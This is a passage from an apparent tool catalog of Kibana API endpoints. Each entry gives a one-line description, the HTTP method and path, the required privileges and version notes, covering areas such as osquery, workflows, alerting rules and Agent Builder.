objects for machine learning jobs and trained models in the default space. You must have `all` privileges for the **Machine Learning** feature in the **Analytics** section of the Kibana feature privileges. This API runs automatically when you start Kibana and periodically thereafter. Kibana GET /api/ml/saved_objects/sync. GET /api/v1/kibana/api/ml/saved_objects/sync. Scopes: api. kibana_get_api_note (read) — Returns Security Timeline notes as saved objects. **Query modes (mutually exclusive branches on the server):** 1. **`documentIds` is set** — Returns notes whose `eventId` matches the given Elasticsearch document `_id` (single string or array). Kibana GET /api/note. GET /api/v1/kibana/api/note. Scopes: api. kibana_get_api_osquery_history (read) — Get a unified, time-sorted history of live, rule-triggered, and scheduled osquery executions. The response uses cursor-based pagination. [Generally available; Added in 9.4.0] Kibana GET /api/osquery/history. GET /api/v1/kibana/api/osquery/history. Scopes: api. kibana_get_api_osquery_live_queries (read) — Get a list of all live queries. Kibana GET /api/osquery/live_queries. GET /api/v1/kibana/api/osquery/live_queries. Scopes: api. kibana_get_api_osquery_live_queries_by_id (read) — Get the details of a live query using the query ID. Kibana GET /api/osquery/live_queries/{id}. GET /api/v1/kibana/api/osquery/live_queries/{id}. Scopes: api. kibana_get_api_osquery_live_queries_by_id_results_by_actionid (read) — Get the results of a live query using the query action ID. Kibana GET /api/osquery/live_queries/{id}/results/{actionId}. GET /api/v1/kibana/api/osquery/live_queries/{id}/results/{actionId}. Scopes: api. kibana_get_api_osquery_packs (read) — Get a list of all query packs. Kibana GET /api/osquery/packs. GET /api/v1/kibana/api/osquery/packs. Scopes: api. kibana_get_api_osquery_packs_by_id (read) — Get the details of a query pack using the pack ID. Kibana GET /api/osquery/packs/{id}. GET /api/v1/kibana/api/osquery/packs/{id}. Scopes: api. kibana_get_api_osquery_saved_queries (read) — Get a list of all saved queries. Kibana GET /api/osquery/saved_queries. GET /api/v1/kibana/api/osquery/saved_queries. Scopes: api. kibana_get_api_osquery_saved_queries_by_id (read) — Get the details of a saved query using the query ID. Kibana GET /api/osquery/saved_queries/{id}. GET /api/v1/kibana/api/osquery/saved_queries/{id}. Scopes: api. kibana_get_api_osquery_scheduled_results_by_scheduleid_by_executioncount (read) — Get paginated per-agent action results for a specific scheduled query execution, with success/failure aggregation and execution metadata (pack name, query name/text, timestamp). [Generally available; Added in 9.4.0] Kibana GET /api/osquery/scheduled_results/{scheduleId}/{executionCount}. GET /api/v1/kibana/api/osquery/scheduled_results/{scheduleId}/{executionCount}. Scopes: api. kibana_get_api_osquery_scheduled_results_by_scheduleid_by_executioncount_results (read) — Get paginated query result rows (the actual osquery output data) for a specific scheduled query execution. [Generally available; Added in 9.4.0] Kibana GET /api/osquery/scheduled_results/{scheduleId}/{executionCount}/results. GET /api/v1/kibana/api/osquery/scheduled_results/{scheduleId}/{executionCount}/results. Scopes: api. kibana_get_api_risk_score_history (read) — Returns time-ordered historical risk score entries from the risk score time-series index for a given entity. [Added in 9.5.0] Kibana GET /api/risk_score/history. GET /api/v1/kibana/api/risk_score/history. Scopes: api. kibana_get_api_saved_objects_by_type_by_id (read) — WARNING: This API is deprecated. This is a legacy Saved Objects API and may be removed in a future version of Kibana. Retrieves a single Kibana saved object by type and ID. For transferring or backing up saved objects, prefer the export API (`POST /api/saved_objects/_export`). Kibana GET /api/saved_objects/{type}/{id}. GET /api/v1/kibana/api/saved_objects/{type}/{id}. Scopes: api. kibana_get_api_saved_objects_find (read) — WARNING: This API is deprecated. This is a legacy Saved Objects API and may be removed in a future version of Kibana. Searches for Kibana saved objects. For transferring or backing up saved objects, prefer the export API (`POST /api/saved_objects/_export`). Kibana GET /api/saved_objects/_find. GET /api/v1/kibana/api/saved_objects/_find. Scopes: api. kibana_get_api_saved_objects_resolve_by_type_by_id (read) — WARNING: This API is deprecated. This is a legacy Saved Objects API and may be removed in a future version of Kibana. Retrieve a single Kibana saved object by ID, using any legacy URL alias if it exists. Kibana GET /api/saved_objects/resolve/{type}/{id}. GET /api/v1/kibana/api/saved_objects/resolve/{type}/{id}. Scopes: api. kibana_get_api_security_ai_assistant_anonymization_fields_find (read) — Get a list of all anonymization fields. Kibana GET /api/security_ai_assistant/anonymization_fields/_find. GET /api/v1/kibana/api/security_ai_assistant/anonymization_fields/_find. Scopes: api. kibana_get_api_security_ai_assistant_current_user_conversations_by_id (read) — Get the details of an existing conversation using the conversation ID. This allows users to fetch the specific conversation data by its unique ID. Kibana GET /api/security_ai_assistant/current_user/conversations/{id}. GET /api/v1/kibana/api/security_ai_assistant/current_user/conversations/{id}. Scopes: api. kibana_get_api_security_ai_assistant_current_user_conversations_find (read) — Get a list of all conversations for the current user. This endpoint allows users to search, filter, sort, and paginate through their conversations. Kibana GET /api/security_ai_assistant/current_user/conversations/_find. GET /api/v1/kibana/api/security_ai_assistant/current_user/conversations/_find. Scopes: api. kibana_get_api_security_ai_assistant_knowledge_base (read) — Read a single KB. Kibana GET /api/security_ai_assistant/knowledge_base. GET /api/v1/kibana/api/security_ai_assistant/knowledge_base. Scopes: api. kibana_get_api_security_ai_assistant_knowledge_base_by_resource (read) — Read a knowledge base with a specific resource identifier. Kibana GET /api/security_ai_assistant/knowledge_base/{resource}. GET /api/v1/kibana/api/security_ai_assistant/knowledge_base/{resource}. Scopes: api. kibana_get_api_security_ai_assistant_knowledge_base_entries_by_id (read) — Retrieve a Knowledge Base Entry by its unique `id`. Kibana GET /api/security_ai_assistant/knowledge_base/entries/{id}. GET /api/v1/kibana/api/security_ai_assistant/knowledge_base/entries/{id}. Scopes: api. kibana_get_api_security_ai_assistant_knowledge_base_entries_find (read) — Finds Knowledge Base Entries that match the given query. Kibana GET /api/security_ai_assistant/knowledge_base/entries/_find. GET /api/v1/kibana/api/security_ai_assistant/knowledge_base/entries/_find. Scopes: api. kibana_get_api_security_ai_assistant_prompts_find (read) — Get a list of all prompts based on optional filters, sorting, and pagination. Kibana GET /api/security_ai_assistant/prompts/_find. GET /api/v1/kibana/api/security_ai_assistant/prompts/_find. Scopes: api. kibana_get_api_security_entity_store_entities (read) — List entity records from the Entity Store with paging, sorting, and filtering. Supports two modes: page-based pagination (page/per_page) and cursor-based pagination (searchAfter). The two modes cannot be combined. [Required authorization] Route required privileges: securitySolution. Kibana GET /api/security/entity_store/entities. GET /api/v1/kibana/api/security/entity_store/entities. Scopes: api. kibana_get_api_security_entity_store_resolution_group (read) — Get the resolution group for a given entity, returning all linked entities. [Required authorization] Route required privileges: securitySolution AND securitySolution-entity-analytics. [Generally available; added in 9.4.0] Kibana GET /api/security/entity_store/resolution/group. GET /api/v1/kibana/api/security/entity_store/resolution/group. Scopes: api. kibana_get_api_security_entity_store_resolution_rules (read) — List managed entity resolution rules and their effective enabled state for this space. [Required authorization] Route required privileges: securitySolution AND securitySolution-entity-analytics. [Generally available; added in 9.5.0] Kibana GET /api/security/entity_store/resolution/rules. GET /api/v1/kibana/api/security/entity_store/resolution/rules. Scopes: api. kibana_get_api_security_entity_store_status (read) — Get the overall Entity Store status and per-engine statuses, optionally including component-level health details. [Required authorization] Route required privileges: securitySolution. Kibana GET /api/security/entity_store/status. GET /api/v1/kibana/api/security/entity_store/status. Scopes: api. kibana_get_api_security_role (read) — Retrieve all Kibana roles. Kibana GET /api/security/role. GET /api/v1/kibana/api/security/role. Scopes: api. kibana_get_api_security_role_by_name (read) — Retrieve a Kibana role by its name. Kibana GET /api/security/role/{name}. GET /api/v1/kibana/api/security/role/{name}. Scopes: api. kibana_get_api_short_url_by_id (read) — Get a single Kibana short URL. [Technical Preview] Kibana GET /api/short_url/{id}. GET /api/v1/kibana/api/short_url/{id}. Scopes: api. kibana_get_api_short_url_slug_by_slug (read) — Resolve a Kibana short URL by its slug. [Technical Preview] Kibana GET /api/short_url/_slug/{slug}. GET /api/v1/kibana/api/short_url/_slug/{slug}. Scopes: api. kibana_get_api_spaces_space (read) — Retrieve all available Kibana spaces. The list includes only the spaces that the user is authorized to access. Kibana GET /api/spaces/space. GET /api/v1/kibana/api/spaces/space. Scopes: api. kibana_get_api_spaces_space_by_id (read) — Retrieve a single Kibana space by its identifier. Kibana GET /api/spaces/space/{id}. GET /api/v1/kibana/api/spaces/space/{id}. Scopes: api. kibana_get_api_status (read) — Returns Kibana's overall operational status and a per-service breakdown for Elasticsearch, Saved Objects, and registered plugins. The endpoint is intended for liveness and readiness checks (for example, by Kubernetes probes) and for operators monitoring a Kibana deployment. Kibana GET /api/status. GET /api/v1/kibana/api/status. Scopes: api. kibana_get_api_streams (read) — Fetches list of all streams [Required authorization] Route required privileges: read_stream. [Experimental; added in 9.1.0] Kibana GET /api/streams. GET /api/v1/kibana/api/streams. Scopes: api. kibana_get_api_streams_by_name (read) — Fetches a stream definition and associated dashboards [Required authorization] Route required privileges: read_stream. [Experimental; added in 9.1.0] Kibana GET /api/streams/{name}. GET /api/v1/kibana/api/streams/{name}. Scopes: api. kibana_get_api_streams_by_name_ingest (read) — Fetches the ingest settings of an ingest stream definition [Required authorization] Route required privileges: read_stream. [Experimental; added in 9.1.0] Kibana GET /api/streams/{name}/_ingest. GET /api/v1/kibana/api/streams/{name}/_ingest. Scopes: api. kibana_get_api_streams_by_name_queries (read) — Fetches all queries linked to a stream that are visible to the current user in the current space. [Required authorization] Route required privileges: read_stream. [Experimental; added in 9.1.0] Kibana GET /api/streams/{name}/queries. GET /api/v1/kibana/api/streams/{name}/queries. Scopes: api. kibana_get_api_streams_by_name_query (read) — Fetches the query settings of a query stream definition [Required authorization] Route required privileges: read_stream. [Experimental; added in 9.4.0] Kibana GET /api/streams/{name}/_query. GET /api/v1/kibana/api/streams/{name}/_query. Scopes: api. kibana_get_api_streams_by_name_significant_events (read) — Read the significant events [Required authorization] Route required privileges: read_stream. [Experimental; added in 9.1.0] Kibana GET /api/streams/{name}/significant_events. GET /api/v1/kibana/api/streams/{name}/significant_events. Scopes: api. kibana_get_api_streams_by_streamname_attachments (read) — Fetches all attachments linked to a stream that are visible to the current user in the current space. Optionally filter by attachment types, search query, and tags. [Required authorization] Route required privileges: read_stream. [Experimental; added in 9.3.0] Kibana GET /api/streams/{streamName}/attachments. GET /api/v1/kibana/api/streams/{streamName}/attachments. Scopes: api. kibana_get_api_synthetics_monitors (read) — Get a list of monitors. You must have `read` privileges for the Synthetics feature in the Observability section of the Kibana feature privileges. Kibana GET /api/synthetics/monitors. GET /api/v1/kibana/api/synthetics/monitors. Scopes: api. kibana_get_api_synthetics_monitors_by_id (read) — Get a monitor. Kibana GET /api/synthetics/monitors/{id}. GET /api/v1/kibana/api/synthetics/monitors/{id}. Scopes: api. kibana_get_api_synthetics_params (read) — Get a list of all parameters. You must have `read` privileges for the Synthetics feature in the Observability section of the Kibana feature privileges. Kibana GET /api/synthetics/params. GET /api/v1/kibana/api/synthetics/params. Scopes: api. kibana_get_api_synthetics_params_by_id (read) — Get a parameter from the Synthetics app. You must have `read` privileges for the Synthetics feature in the Observability section of the Kibana feature privileges. Kibana GET /api/synthetics/params/{id}. GET /api/v1/kibana/api/synthetics/params/{id}. Scopes: api. kibana_get_api_synthetics_private_locations (read) — Get a list of private locations. You must have `read` privileges for the Synthetics and Uptime feature in the Observability section of the Kibana feature privileges. Kibana GET /api/synthetics/private_locations. GET /api/v1/kibana/api/synthetics/private_locations. Scopes: api. kibana_get_api_synthetics_private_locations_by_id (read) — You must have `read` privileges for the Synthetics and Uptime feature in the Observability section of the Kibana feature privileges. Kibana GET /api/synthetics/private_locations/{id}. GET /api/v1/kibana/api/synthetics/private_locations/{id}. Scopes: api. kibana_get_api_tags (read) — Returns a paginated list of tags matching the optional `query` text. [Experimental; added in 9.5.0] Kibana GET /api/tags. GET /api/v1/kibana/api/tags. Scopes: api. kibana_get_api_tags_by_id (read) — Returns a tag by ID. [Experimental; added in 9.5.0] Kibana GET /api/tags/{id}. GET /api/v1/kibana/api/tags/{id}. Scopes: api. kibana_get_api_task_manager_health (read) — Get the health status of the Kibana task manager. Kibana GET /api/task_manager/_health. GET /api/v1/kibana/api/task_manager/_health. Scopes: api. kibana_get_api_timeline (read) — Get the details of an existing saved Timeline or Timeline template. Kibana GET /api/timeline. GET /api/v1/kibana/api/timeline. Scopes: api. kibana_get_api_timeline_draft (read) — Get the details of the draft Timeline or Timeline template for the current user. If the user doesn't have a draft Timeline, an empty Timeline is returned. Kibana GET /api/timeline/_draft. GET /api/v1/kibana/api/timeline/_draft. Scopes: api. kibana_get_api_timeline_resolve (read) — Resolve a Timeline or Timeline template, surfacing outcomes such as `exactMatch`, `aliasMatch`, or `conflict` when object IDs have been remapped during upgrades or imports. Provide **either** `id` for default Timelines or `template_timeline_id` for templates. Kibana GET /api/timeline/resolve. GET /api/v1/kibana/api/timeline/resolve. Scopes: api. kibana_get_api_timelines (read) — Get a list of all saved Timelines or Timeline templates. Kibana GET /api/timelines. GET /api/v1/kibana/api/timelines. Scopes: api. kibana_get_api_upgrade_assistant_status (read) — Check the status of your cluster. [Technical Preview] Kibana GET /api/upgrade_assistant/status. GET /api/v1/kibana/api/upgrade_assistant/status. Scopes: api. kibana_get_api_uptime_settings (read) — You must have `read` privileges for the uptime feature in the Observability section of the Kibana feature privileges. Kibana GET /api/uptime/settings. GET /api/v1/kibana/api/uptime/settings. Scopes: api. kibana_get_api_visualizations (read) — > This documentation is temporarily hosted at a separate location. > > **[View the full Visualizations API reference →](https://elastic.github.io/dashboards-api-spec/visualizations#tag/Visualizations)**. Kibana GET /api/visualizations. GET /api/v1/kibana/api/visualizations. Scopes: api. kibana_get_api_visualizations_by_id (read) — > This documentation is temporarily hosted at a separate location. > > **[View the full Visualizations API reference →](https://elastic.github.io/dashboards-api-spec/visualizations#tag/Visualizations)**. Kibana GET /api/visualizations/{id}. GET /api/v1/kibana/api/visualizations/{id}. Scopes: api. kibana_get_api_workflows (read) — Retrieve a paginated list of workflows with optional filtering. [Required authorization] Route required privileges: workflowsManagement:read OR workflowsManagement:managed:read OR workflowsManagement:readExecution OR workflowsManagement:managed:readExecution. [Generally available; added in 9.4.0] Kibana GET /api/workflows. GET /api/v1/kibana/api/workflows. Scopes: api. kibana_get_api_workflows_aggs (read) — Retrieve distinct values and their counts for the specified workflow fields. Useful for building filters such as lists of tags or creators. [Required authorization] Route required privileges: workflowsManagement:read OR workflowsManagement:managed:read. [Generally available; added in 9.4.0] Kibana GET /api/workflows/aggs. GET /api/v1/kibana/api/workflows/aggs. Scopes: api. kibana_get_api_workflows_connectors (read) — Retrieve the Kibana action connectors that can be used in workflow steps, grouped by connector type. Each type includes its configured instances and availability status. [Required authorization] Route required privileges: workflowsManagement:read. [Generally available; added in 9.4.0] Kibana GET /api/workflows/connectors. GET /api/v1/kibana/api/workflows/connectors. Scopes: api. kibana_get_api_workflows_executions_by_executionid (read) — Retrieve details of a single workflow execution by its ID. [Required authorization] Route required privileges: workflowsManagement:readExecution OR workflowsManagement:managed:readExecution. [Generally available; added in 9.4.0] Kibana GET /api/workflows/executions/{executionId}. GET /api/v1/kibana/api/workflows/executions/{executionId}. Scopes: api. kibana_get_api_workflows_executions_by_executionid_children (read) — Retrieve child workflow executions spawned by sub-workflow steps within a parent execution. [Required authorization] Route required privileges: workflowsManagement:readExecution OR workflowsManagement:managed:readExecution. [Generally available; added in 9.4.0] Kibana GET /api/workflows/executions/{executionId}/children. GET /api/v1/kibana/api/workflows/executions/{executionId}/children. Scopes: api. kibana_get_api_workflows_executions_by_executionid_logs (read) — Retrieve paginated logs for a workflow execution. Optionally filter by a specific step execution. [Required authorization] Route required privileges: workflowsManagement:readExecution OR workflowsManagement:managed:readExecution. [Generally available; added in 9.4.0] Kibana GET /api/workflows/executions/{executionId}/logs. GET /api/v1/kibana/api/workflows/executions/{executionId}/logs. Scopes: api. kibana_get_api_workflows_executions_by_executionid_step_by_stepexecutionid (read) — Retrieve details of a single step execution within a workflow execution. [Required authorization] Route required privileges: workflowsManagement:readExecution OR workflowsManagement:managed:readExecution. [Generally available; added in 9.4.0] Kibana GET /api/workflows/executions/{executionId}/step/{stepExecutionId}. GET /api/v1/kibana/api/workflows/executions/{executionId}/step/{stepExecutionId}. Scopes: api. kibana_get_api_workflows_executions_by_executionid_steps_by_stepid_resume_external (read) — Resume a paused `waitForApproval` step (pauses the workflow and waits for a human to approve/decline before execution continues) or `waitForInput` step (passes the expected input values as query parameters in the URL). Returns an HTML confirmation page. [Generally available; added in 9.4.0] Kibana GET /api/workflows/executions/{executionId}/steps/{stepId}/resume/external. GET /api/v1/kibana/api/workflows/executions/{executionId}/steps/{stepId}/resume/external. Scopes: api. kibana_get_api_workflows_executions_by_executionid_steps_by_stepid_resume_external_form (read) — Returns an HTML form for submitting external input to a paused waitForInput step. Does not resume the execution. [Generally available; added in 9.4.0] Kibana GET /api/workflows/executions/{executionId}/steps/{stepId}/resume/external/form. GET /api/v1/kibana/api/workflows/executions/{executionId}/steps/{stepId}/resume/external/form. Scopes: api. kibana_get_api_workflows_schema (read) — Retrieve the JSON schema used to validate workflow YAML definitions. The schema includes available step types based on the configured connectors in the current space. [Required authorization] Route required privileges: workflowsManagement:read. [Generally available; added in 9.4.0] Kibana GET /api/workflows/schema. GET /api/v1/kibana/api/workflows/schema. Scopes: api. kibana_get_api_workflows_stats (read) — Retrieve summary statistics about workflows, including total, enabled, and disabled counts; execution history metrics for the last 30 days are included only when the caller has execution read privilege. [Generally available; added in 9.4.0] Kibana GET /api/workflows/stats. GET /api/v1/kibana/api/workflows/stats. Scopes: api. kibana_get_api_workflows_workflow_by_id (read) — Retrieve a single workflow by its ID. [Required authorization] Route required privileges: workflowsManagement:read OR workflowsManagement:managed:read. [Generally available; added in 9.4.0] Kibana GET /api/workflows/workflow/{id}. GET /api/v1/kibana/api/workflows/workflow/{id}. Scopes: api. kibana_get_api_workflows_workflow_by_workflowid_executions (read) — Retrieve a paginated list of executions for a specific workflow. [Required authorization] Route required privileges: workflowsManagement:readExecution OR workflowsManagement:managed:readExecution. [Generally available; added in 9.4.0] Kibana GET /api/workflows/workflow/{workflowId}/executions. GET /api/v1/kibana/api/workflows/workflow/{workflowId}/executions. Scopes: api. kibana_get_api_workflows_workflow_by_workflowid_executions_steps (read) — Retrieve a paginated list of step-level execution records for a specific workflow. Optionally filter by step ID and include input or output data. [Required authorization] Route required privileges: workflowsManagement:readExecution OR workflowsManagement:managed:readExecution. [Generally available; added in 9.4.0] Kibana GET /api/workflows/workflow/{workflowId}/executions/steps. GET /api/v1/kibana/api/workflows/workflow/{workflowId}/executions/steps. Scopes: api. kibana_get_s_by_spaceid_api_observability_slos (read) — You must have the `read` privileges for the **SLOs** feature in the **Observability** section of the Kibana feature privileges. Kibana GET /s/{spaceId}/api/observability/slos. GET /api/v1/kibana/s/{spaceId}/api/observability/slos. Scopes: api. kibana_get_s_by_spaceid_api_observability_slos_bulk_delete_by_taskid (read) — Retrieve the status of the bulk deletion operation for SLOs. This endpoint returns the status of the bulk deletion operation, including whether it is completed and the results of the operation. Kibana GET /s/{spaceId}/api/observability/slos/_bulk_delete/{taskId}. GET /api/v1/kibana/s/{spaceId}/api/observability/slos/_bulk_delete/{taskId}. Scopes: api. kibana_get_s_by_spaceid_api_observability_slos_by_sloid (read) — You must have the `read` privileges for the **SLOs** feature in the **Observability** section of the Kibana feature privileges. Kibana GET /s/{spaceId}/api/observability/slos/{sloId}. GET /api/v1/kibana/s/{spaceId}/api/observability/slos/{sloId}. Scopes: api. kibana_get_s_by_spaceid_internal_observability_slos_definitions (read) — You must have the `read` privileges for the **SLOs** feature in the **Observability** section of the Kibana feature privileges. Kibana GET /s/{spaceId}/internal/observability/slos/_definitions. GET /api/v1/kibana/s/{spaceId}/internal/observability/slos/_definitions. Scopes: api. kibana_patch_api_agent_builder_conversations_by_conversation_id_attachments_by_attachment_id (write) — Rename an attachment without creating a new version. [Required authorization] Route required privileges: agentBuilder:read. [Experimental; added in 9.2.0] Kibana PATCH /api/agent_builder/conversations/{conversation_id}/attachments/{attachment_id}. PATCH /api/v1/kibana/api/agent_builder/conversations/{conversation_id}/attachments/{attachment_id}. Scopes: api. kibana_patch_api_cases (write) — You must have `all` privileges for the **Cases** feature in the **Management**, **Observability**, or **Security** section of the Kibana feature privileges, depending on the owner of the case you're updating. Kibana PATCH /api/cases. PATCH /api/v1/kibana/api/cases. Scopes: api. kibana_patch_api_cases_by_caseid_comments (write) — You must have `all` privileges for the **Cases** feature in the **Management**, **Observability**, or **Security** section of the Kibana feature privileges, depending on the owner of the case you're updating. NOTE: You cannot change the comment type or the owner of a comment. Kibana PATCH /api/cases/{caseId}/comments. PATCH /api/v1/kibana/api/cases/{caseId}/comments. Scopes: api. kibana_patch_api_cases_configure_by_configurationid (write) — Updates setting details such as the closure type, custom fields, templates, and the default connector for cases. Connectors are used to interface with external systems. You must create a connector before you can use it in your cases. Kibana PATCH /api/cases/configure/{configurationId}. PATCH /api/v1/kibana/api/cases/configure/{configurationId}. Scopes: api. kibana_patch_api_detection_engine_rules (write) — Update specific fields of an existing detection rule using the `rule_id` or `id` field. Kibana PATCH /api/detection_engine/rules. PATCH /api/v1/kibana/api/detection_engine/rules. Scopes: api. kibana_patch_api_lists (write) — Update specific fields of an existing list using the list `id`. Kibana PATCH /api/lists. PATCH /api/v1/kibana/api/lists. Scopes: api. kibana_patch_api_lists_items (write) — Update specific fields of an existing value list item using the item `id`. Kibana PATCH /api/lists/items. PATCH /api/v1/kibana/api/lists/items. Scopes: api. kibana_patch_api_maintenance_window_by_id (write) — [Required authorization] Route required privileges: write-maintenance-window. [Generally available; added in 9.1.0] Kibana PATCH /api/maintenance_window/{id}. PATCH /api/v1/kibana/api/maintenance_window/{id}. Scopes: api. kibana_patch_api_note (write) — Creates a new note or updates an existing one. **Create:** Send `note` and omit `noteId` to create a new saved object. **Update:** Send `note` with the changed fields and set `noteId` to the note's saved object ID. Optionally include `version` for optimistic concurrency when the client has it from a prior read. Kibana PATCH /api/note. PATCH /api/v1/kibana/api/note. Scopes: api. kibana_patch_api_pinned_event (write) — Pin/unpin an event to/from an existing Timeline. Kibana PATCH /api/pinned_event. PATCH /api/v1/kibana/api/pinned_event. Scopes: api. kibana_patch_api_risk_score_engine_saved_object_configure (write) — Configuring the Risk Engine Saved Object. Kibana PATCH /api/risk_score/engine/saved_object/configure. PATCH /api/v1/kibana/api/risk_score/engine/saved_object/configure. Scopes: api. kibana_patch_api_timeline (write) — Update an existing Timeline. You can update the title, description, date range, pinned events, pinned queries, and/or pinned saved queries of an existing Timeline. Kibana PATCH /api/timeline. PATCH /api/v1/kibana/api/timeline. Scopes: api. kibana_patch_api_timeline_favorite (write) — Favorite a Timeline or Timeline template for the current user. Kibana PATCH /api/timeline/_favorite. PATCH /api/v1/kibana/api/timeline/_favorite. Scopes: api. kibana_post_api_actions_connector_by_id (write) — Create a connector. Kibana POST /api/actions/connector/{id}. POST /api/v1/kibana/api/actions/connector/{id}. Scopes: api. kibana_post_api_actions_connector_by_id_execute (write) — You can use this API to test an action that involves interaction with Kibana services or integrations with third-party systems. Kibana POST /api/actions/connector/{id}/_execute. POST /api/v1/kibana/api/actions/connector/{id}/_execute. Scopes: api. kibana_post_api_agent_builder_a2a_by_agentid (write) — > warn > This endpoint is designed for A2A protocol clients and should not be used directly via REST APIs. Use an A2A SDK or A2A Inspector instead. [Experimental; added in 9.2.0] Kibana POST /api/agent_builder/a2a/{agentId}. POST /api/v1/kibana/api/agent_builder/a2a/{agentId}. Scopes: api. kibana_post_api_agent_builder_agents (write) — Create a new agent. Use this endpoint to define the agent's behavior, appearance, and capabilities through comprehensive configuration options. To learn more about agents, refer to the [agents documentation](https://www.elastic.co/docs/explore-analyze/ai-features/agent-builder/agent-builder-agents). [Added in 9.2.0] Kibana POST /api/agent_builder/agents. POST /api/v1/kibana/api/agent_builder/agents. Scopes: api. kibana_post_api_agent_builder_agents_by_agent_id_consumption (write) — Returns paginated, per-conversation token consumption data for a given agent. Includes input/output token counts, round counts, LLM call counts, and warnings for conversations with high token usage. Requires the manageAgents privilege. [Experimental; added in 9.4.0] Kibana POST /api/agent_builder/agents/{agent_id}/consumption. POST /api/v1/kibana/api/agent_builder/agents/{agent_id}/consumption. Scopes: api. kibana_post_api_agent_builder_conversations_by_conversation_id_attachments (write) — Create a new attachment for a conversation with version tracking. [Required authorization] Route required privileges: agentBuilder:read. [Experimental; added in 9.2.0] Kibana POST /api/agent_builder/conversations/{conversation_id}/attachments. POST /api/v1/kibana/api/agent_builder/conversations/{conversation_id}/attachments. Scopes: api. kibana_post_api_agent_builder_conversations_by_conversation_id_attachments_by_attachment_id_restore (write) — Restore a soft-deleted attachment. [Required authorization] Route required privileges: agentBuilder:read. [Experimental; added in 9.2.0] Kibana POST /api/agent_builder/conversations/{conversation_id}/attachments/{attachment_id}/_restore. POST /api/v1/kibana/api/agent_builder/conversations/{conversation_id}/attachments/{attachment_id}/_restore. Scopes: api. kibana_post_api_agent_builder_converse (write) — Send a message to an agent and receive a complete response. This synchronous endpoint waits for the agent to fully process your request before returning the final result. Use this for simple chat interactions where you need the complete response. [Added in 9.2.0] Kibana POST /api/agent_builder/converse. POST /api/v1/kibana/api/agent_builder/converse. Scopes: api. kibana_post_api_agent_builder_mcp (write) — > warn > This endpoint is designed for MCP clients (Claude Desktop, Cursor, VS Code, etc.) and should not be used directly via REST APIs. Use MCP Inspector or native MCP clients instead. [Added in 9.2.0] Kibana POST /api/agent_builder/mcp. POST /api/v1/kibana/api/agent_builder/mcp. Scopes: api. kibana_post_api_agent_builder_plugins_install (write) — Install a plugin from a [GitHub Claude plugin URL](https://code.claude.com/docs/en/plugins) or a direct ZIP URL. Plugins bundle agent capabilities such as skills. [Experimental; added in 9.4.0] Kibana POST /api/agent_builder/plugins/install. POST /api/v1/kibana/api/agent_builder/plugins/install. Scopes: api. kibana_post_api_agent_builder_skills (write) — Create a new user-defined skill. To learn more about Agent Builder skills, refer to the [skills documentation](https://www.elastic.co/docs/explore-analyze/ai-features/agent-builder/skills). [Required authorization] Route required privileges: agentBuilder:manageSkills. [Experimental; added in 9.4.0] Kibana POST /api/agent_builder/skills. POST /api/v1/kibana/api/agent_builder/skills. Scopes: api. kibana_post_api_agent_builder_tools (write) — Create a new tool. Use this endpoint to define a custom tool with specific functionality and configuration for use by agents. To learn more about Agent Builder tools, refer to the [tools documentation](https://www.elastic.co/docs/explore-analyze/ai-features/agent-builder/tools). [Added in 9.2.0] Kibana POST /api/agent_builder/tools. POST /api/v1/kibana/api/agent_builder/tools. Scopes: api. kibana_post_api_agent_builder_tools_execute (write) — Run a tool with parameters. Use this endpoint to run a tool directly with specified inputs and optional external connector integration. To learn more about Agent Builder tools, refer to the [tools documentation](https://www.elastic.co/docs/explore-analyze/ai-features/agent-builder/tools). [Added in 9.2.0] Kibana POST /api/agent_builder/tools/_execute. POST /api/v1/kibana/api/agent_builder/tools/_execute. Scopes: api. kibana_post_api_alerting_rule_by_id (write) — Create a rule. Kibana POST /api/alerting/rule/{id}. POST /api/v1/kibana/api/alerting/rule/{id}. Scopes: api. kibana_post_api_alerting_rule_by_id_disable (write) — Disable a rule. Kibana POST /api/alerting/rule/{id}/_disable. POST /api/v1/kibana/api/alerting/rule/{id}/_disable. Scopes: api. kibana_post_api_alerting_rule_by_id_enable (write) — Enable a rule. Kibana POST /api/alerting/rule/{id}/_enable. POST /api/v1/kibana/api/alerting/rule/{id}/_enable. Scopes: api. kibana_post_api_alerting_rule_by_id_mute_all (write) — Mute all alerts. Kibana POST /api/alerting/rule/{id}/_mute_all. POST /api/v1/kibana/api/alerting/rule/{id}/_mute_all. Scopes: api. kibana_post_api_alerting_rule_by_id_snooze_schedule (write) — When you snooze a rule, the rule checks continue to run but alerts will not generate actions. You can snooze for a specified period of time and schedule single or recurring downtimes. [Generally available; added in 8.19.0] Kibana POST /api/alerting/rule/{id}/snooze_schedule. POST /api/v1/kibana/api/alerting/rule/{id}/snooze_schedule. Scopes: api. kibana_post_api_alerting_rule_by_id_unmute_all (write) — Unmute all alerts. Kibana POST /api/alerting/rule/{id}/_unmute_all. POST /api/v1/kibana/api/alerting/rule/{id}/_unmute_all. Scopes: api. kibana_post_api_alerting_rule_by_id_update_api_key (write) — Update the API key for a rule. Kibana POST /api/alerting/rule/{id}/_update_api_key. POST /api/v1/kibana/api/alerting/rule/{id}/_update_api_key. Scopes: api. kibana_post_api_alerting_rule_by_rule_id_alert_by_alert_id_mute (write) — Mute an alert. Kibana POST /api/alerting/rule/{rule_id}/alert/{alert_id}/_mute. POST /api/v1/kibana/api/alerting/rule/{rule_id}/alert/{alert_id}/_mute. Scopes: api. kibana_post_api_alerting_rule_by_rule_id_alert_by_alert_id_snooze (write) — Snooze an alert. [Generally available; added in 9.5.0] Kibana POST /api/alerting/rule/{rule_id}/alert/{alert_id}/_snooze. POST /api/v1/kibana/api/alerting/rule/{rule_id}/alert/{alert_id}/_snooze. Scopes: api. kibana_post_api_alerting_rule_by_rule_id_alert_by_alert_id_unmute (write) — Unmute an alert. Kibana POST /api/alerting/rule/{rule_id}/alert/{alert_id}/_unmute. POST /api/v1/kibana/api/alerting/rule/{rule_id}/alert/{alert_id}/_unmute. Scopes: api. kibana_post_api_alerting_rule_by_rule_id_alert_by_alert_id_unsnooze (write) — Unsnooze an alert. [Generally available; added in 9.5.0] Kibana POST /api/alerting/rule/{rule_id}/alert/{alert_id}/_unsnooze. POST /api/v1/kibana/api/alerting/rule/{rule_id}/alert/{alert_id}/_unsnooze. Scopes: api. kibana_post_api_alerting_rules_backfill_find (write) — Find backfills for rules. Kibana POST /api/alerting/rules/backfill/_find. POST /api/v1/kibana/api/alerting/rules/backfill/_find. Scopes: api. kibana_post_api_alerting_rules_backfill_schedule (write) — Schedule a backfill for rules. Kibana POST /api/alerting/rules/backfill/_schedule. POST /api/v1/kibana/api/alerting/rules/backfill/_schedule. Scopes: api. 